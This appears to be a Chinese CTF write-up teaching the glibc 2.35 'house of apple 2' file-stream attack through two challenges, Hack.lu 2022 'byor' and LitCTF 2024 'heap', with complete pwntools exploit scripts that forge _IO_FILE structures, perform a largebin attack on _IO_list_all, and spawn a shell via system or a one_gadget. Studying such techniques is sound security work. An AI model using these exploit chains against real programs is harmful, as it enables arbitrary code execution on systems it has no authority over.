一、Hack.lu.CTF.2022 byor(很好的一个apple2入门题目)
代码审计加checksec


但是这里要注意一个这个__bss_start这个IO文件,我们都知道bss最上面是我们stdout,stdin,stderr结构体的指针,那么这个实际上就是我们stdout的指针,这只是ida反汇编时出现了一些小错误,所以显示的不是stdout。所以这里的if(read)实际上是在修改我们的stdout的结构体。
这个if是说,如果如果read了0xE0字节那么我们会在oxao那写一个calloc,这个地方实际上是IO_file_Plus里面的一个IO结构体wide_data,我们apple到doallocated,这条链是要用到wide_data这个IO的因为doallocated用的就是wide_data里面的wvtable里面的doalloacted里面的指针,所以我们不能让他被清零,所以我们必须不能写道0xE0字节
fake_IO_stodut的构造
先看代码
fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)
}, filler=b'\\x00')
ok我们知道这个触发是用exit来的到flush每一个IO结构体,当满足一些条件的时候会调用
_IO_OVERFLOW(fp, EOF),这个函数会调用vtable里面的指针,那么这个时候我们把
_IO_file_jumps换成
_IO_wfile_jumps,那么他就会调用
_IO_wfile_jumps里面的
__overflow
的
_IO_wfile_overflow函数
_IO_wfile_overflow
-> _IO_wdoallocbuf
-> _IO_WDOALLOCATE
-> wide_vtable + 0x68
_IO_wfile_overflow后面的调用链是代码这样的,那么他最后就会调用wide_data里面的wide_vtable的一个函数,我们把这个改成我们想要执行的函数,就能够达到目的。
说一下利用的条件
0.保证IO_stdout检查合理
flags & 0x8==0
lock要可读可写的地址
1.触发
_IO_OVERFLOW(fp, EOF)
条件有二
:fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base或者
fp->_mode > 0 &&fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
所以第一种的常用构造:
_mode = 0 或 -1
_IO_write_base = 1
_IO_write_ptr = 2
第二种:
_mode = 1 或 2
wide->_IO_write_base = 0
wide->_IO_write_ptr = 1
2.
_IO_wfile_overflow调_IO_wdoallocbuf`
条件:fp->_wide_data->_IO_write_base == 0
3.
_IO_wdoallocbuf 调 _IO_WDOALLOCATE
条件:
fp->_wide_data->_IO_buf_base == 0
4.结果
_IO_WDOALLOCATE(fp) -> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
fake_IO_stdout的各个字段的含义
fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)
}, filler=b'\\x00')
1.触发
_IO_OVERFLOW(fp, EOF)
这里我们将_model=-1,write_base=1,write_ptr=2.
2.调用
_IO_wfile_jumps里面的
__overflow的
_IO_wfile_overflow函数
这时候我们将vtable换成_IO_wfile_jumps
3._IO_wfile_overflow调_IO_wdoallocbuf
_IO_wdoallocbuf 调 _IO_WDOALLOCATE
fp->_wide_data->_IO_buf_base == 0
fp->_wide_data->_IO_write_base == 0
这一步有点难,因为要使_wide_data->_IO_write_base可控,我们要把_wide_data换成可控的地址,在0xa0的位置,这里我们覆盖为IO-0x48因为在libc的stdout,stdin,stderr这些libc里面的IO的-0x48为起点,+0x18也就是write_base和+0x30也就是buf_base一般是0,所以符合条件(这里的write_base等是在wide_data这个IO里面的而wide_data里面是没有flag的所以合IO_file_plus的偏移有一点不一样)
4.篡改_IO_WDOALLOCATE(fp)-> *(fp->_wide_data->_wide_vtable + 0x68)(fp)
到这一步我们只用把_wide_vtable+0x68改成target就好了
我们之前已经把wide_data改成IO-0x48了,而_wide_vtable在wide_data里面的偏移0xe0,所以就是IO-0x48+0xe0=IO+0x98位置写上_wide_vtable而我们要可控_wide_vtable+0x68的值,所以这个我们也要伪造,伪造为IO,那么IO+0x68为我们想要执行的东西
5.flags和lock
flags&0x8==0
lock可读可写
攻击
输入payload,但是注意我们要[ : -1 ]因为不能到0xE0而我们地址最后一位是零,所以我们可以不要-1,位置的,同时,在执行vtable的函数使,参数rdi为IO的首地址,所以我们写其为sh。
EXP:
from pwn import*
#from pwncli import *
libc=ELF('./libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
context( arch = "amd64",os='linux')
#io=process("./heap")
libc_rop=ROP("./libc.so.6")
io=process('./byor')
io.recvuntil(b': ')
IO=int(io.recv(12),16)
print("IO : 0x%x"%IO)
libc_base=IO – libc.sym['_IO_2_1_stdout_']
print("libc_base : 0x%x"%libc_base)
stdout_lock=libc_base+ 0x21ca70
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
stdout=libc_base+libc.sym['_IO_2_1_stdout_']
#gdb.attach(io)
fake_io_payload = flat({
0x00: b' sh'.ljust(8,b'\\x00'),
0x10: p64(0), # _IO_read_ptr (偏移 0x10)
0x18: p64(0), # _IO_read_end (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr
0x68: p64(libc_base+libc.sym['system']),
0x88: p64(stdout_lock),
0x98: p64(IO),
0xa0: p64(IO-0x48),
0xc0: p64(0xffffffffffffffff), # _model=-1
0xd8: p64(_IO_wfile_jumps)
}, filler=b'\\x00')
#gdb.attach(io)
io.send(fake_io_payload[:-1])
io.interactive()
"""
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""
2024Litctf heap 2.35
ok哇看懂了这个byor,那么这个litctf heap2.35就很好懂了,前面是在我们的libc真实的IO里面去覆盖值,而这一题是在堆上伪造我们的IO,但是首先你得先会largebins attack然后我们才能进行接下来的内容
代码审计


很普通的逻辑,没有功能缺失,有UAF,最多创建0x10个堆块
分析:
因为是2.35版本的所以我们不再有hook可以打了,那么我们只能盯着IO了,这里我们打
exit->apple2的链子
步骤:
1、泄漏heap于libc,这个简单
add(0,0×18)
add(1,0×510)
add(2,0×10)
add(3,0×520)
add(4,0×10)
delete(3)
add(5,0×530)
show(3)
#gdb.attach(io)
io.recvuntil(b'content : ')
libc_adder=u64(io.recv(6).ljust(8,b'\\x00'))
libc_base=libc_adder-0x21b110
print("0x%x"%libc_base)
# 0x7b0
edit(3,b'a'*0x10)
show(3)
io.recvuntil(b'content : aaaaaaaaaaaaaaaa')
heap_adder=u64(io.recv(6).ljust(8,b'\\x00'))
heap_base=heap_adder-0x7f0
print("0x%x"%heap_base)
先把一个堆块放入largebins里面再泄漏libc和heap的地址
2.进行largebins的攻击
这个目的是再IO_list_all上写入fake_IO的堆块地址
large_chunk_head=flat(
{
0x0:libc_adder,
0x8:libc_adder,
0x10:chunk1_adder,
0x18:io_list_all-0x20
}
)
delete(1)
edit(3,large_chunk_head)
add(6,0×540)
这些是bk_nextsize为我们向写到哪的地址,除了bk其他的指针尽量别动,再add(6)时,触发了largebins攻击,使这个 ,上面delete的1的地址写入了IO_list_all.这样我们下一步就是在1上面伪造fake_IO了
3.fake_IO的伪造
这里还要有一点点注意的东西,我们把1的地址写入了,IO_list_all那么,堆头其实是我们IO_的开始,那么我们想堆块里面写东西,最多最多从IO+0x10开始写入,只能从IO_read_end开始写,那么我们的flags在pre_size里面可以由上一个堆块写入
0x10: p32(0xfffff7f5),
0x14: b'\\x00\\x00\\x00\\x00'
fake_io_payload = flat({
# 0x00: 这里是 edit(0) 填好的 flags
# 0x08: 这里是 edit(0) 填好的 size 代表 _IO_read_ptr
0x10: p64(0), # _IO_read_end (偏移 0x10)
0x18: p64(0), # _IO_read_base (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr (偏移 0x28)
0xa0: p64(chunk0_adder + 0x100), # _wide_data 指针
0xc0: p64(0xffffffffffffffff), # _mode = -1
0xd8: p64(_IO_wfile_jumps), # vtable -> _IO_wfile_jumps
# — 0x100: _IO_wide_data 结构体 —
0x100 + 0xe0: p64(chunk0_adder + 0x200), # _wide_vtable 指针
# — 0x200: 伪造的虚表 —
0x200 + 0x68: p64(libc_base+0xebd43) # __doallocate -> system
}, filler=b'\\x00')
ok来看model,write_base,write_ptr设置好了,然后IO_wfile_jumps也覆盖了,wide_data是下面的0x100的位置,将wide_vtable设置为再下面0x100,在里面写入one_gadget,ok里面全补零,那么wide_data->wriet_base,buf_base都为零就稳了
exit()触发
EXP:
""" house of apple 2024litctf 2.35"""
from pwn import*
libc=ELF('./libc.so.6')
context.terminal = ['tmux', 'splitw', '-h']
context( arch = "amd64",os='linux')
#io=process("./heap")
io=remote('node4.anna.nssctf.cn',29370)
libc_rop=ROP("./libc.so.6")
def menu(choice):
io.sendlineafter(b">>", str(choice).encode())
def add(index, size):
menu(1)
io.sendlineafter(b"idx? ", str(index).encode())
io.sendlineafter(b"size? ", str(size).encode())
def delete(index):
menu(2)
io.sendlineafter(b"idx? ", str(index).encode())
def edit(index, data):
if isinstance(data, str):
data = data.encode()
menu(4)
io.sendlineafter(b"idx? ", str(index).encode())
io.sendafter(b"content : ", data)
def show(index):
menu(3)
io.sendlineafter(b"idx? ", str(index).encode())
#要参数的时候_flag设置为0xfffff7f5(前四个字节),后面四个字节设置为参数数就是你__doallocate覆盖的函数的参数
add(0,0×18)
add(1,0×510)
add(2,0×10)
add(3,0×520)
add(4,0×10)
delete(3)
add(5,0×530)
show(3)
#gdb.attach(io)
io.recvuntil(b'content : ')
libc_adder=u64(io.recv(6).ljust(8,b'\\x00'))
libc_base=libc_adder-0x21b110
print("0x%x"%libc_base)
# 0x7b0
edit(3,b'a'*0x10)
show(3)
io.recvuntil(b'content : aaaaaaaaaaaaaaaa')
heap_adder=u64(io.recv(6).ljust(8,b'\\x00'))
heap_base=heap_adder-0x7f0
print("0x%x"%heap_base)
io_list_all=libc_base+libc.sym['_IO_list_all']
_IO_wfile_jumps=libc_base+libc.sym['_IO_wfile_jumps']
back_door=libc_base+libc.symbols['system']
chunk1_adder=heap_adder
chunk0_adder=chunk1_adder-0x540
large_chunk_head=flat(
{
0x0:libc_adder,
0x8:libc_adder,
0x10:chunk1_adder,
0x18:io_list_all-0x20
}
)
delete(1)
edit(3,large_chunk_head)
add(6,0×540)
# fake_header_flags = flat({
# 0x10: p32(0xfffff7f5), # _flags
# 0x14: b'\\x00\\x00\\x00\\x00'
# })
# edit(0,fake_header_flags)
fake_io_payload = flat({
# 0x00: 这里是 edit(0) 填好的 flags
# 0x08: 这里是 edit(0) 填好的 size 代表 _IO_read_ptr
0x10: p64(0), # _IO_read_end (偏移 0x10)
0x18: p64(0), # _IO_read_base (偏移 0x18)
0x20: p64(1), # _IO_write_base (偏移 0x20)
0x28: p64(2), # _IO_write_ptr (偏移 0x28)
0xa0: p64(chunk0_adder + 0x100), # _wide_data 指针
0xc0: p64(0xffffffffffffffff), # _mode = -1
0xd8: p64(_IO_wfile_jumps), # vtable -> _IO_wfile_jumps
# — 0x100: _IO_wide_data 结构体 —
0x100 + 0xe0: p64(chunk0_adder + 0x200), # _wide_vtable 指针
# — 0x200: 伪造的虚表 —
0x200 + 0x68: p64(libc_base+0xebd43) # __doallocate -> system
}, filler=b'\\x00')
edit(1, fake_io_payload[0x10:])
#gdb.attach(io)
menu(5)
io.interactive()
"""
0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebc85 execve("/bin/sh", r10, rdx)
constraints:
address rbp-0x78 is writable
[r10] == NULL || r10 == NULL || r10 is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
address rbp-0x78 is writable
[rsi] == NULL || rsi == NULL || rsi is a valid argv
[rdx] == NULL || rdx == NULL || rdx is a valid envp
0xebce2 execve("/bin/sh", rbp-0x50, r12)
constraints:
address rbp-0x48 is writable
r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv
[r12] == NULL || r12 == NULL || r12 is a valid envp
0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x48 is writable
rax == NULL || {rax, r12, NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp
"""

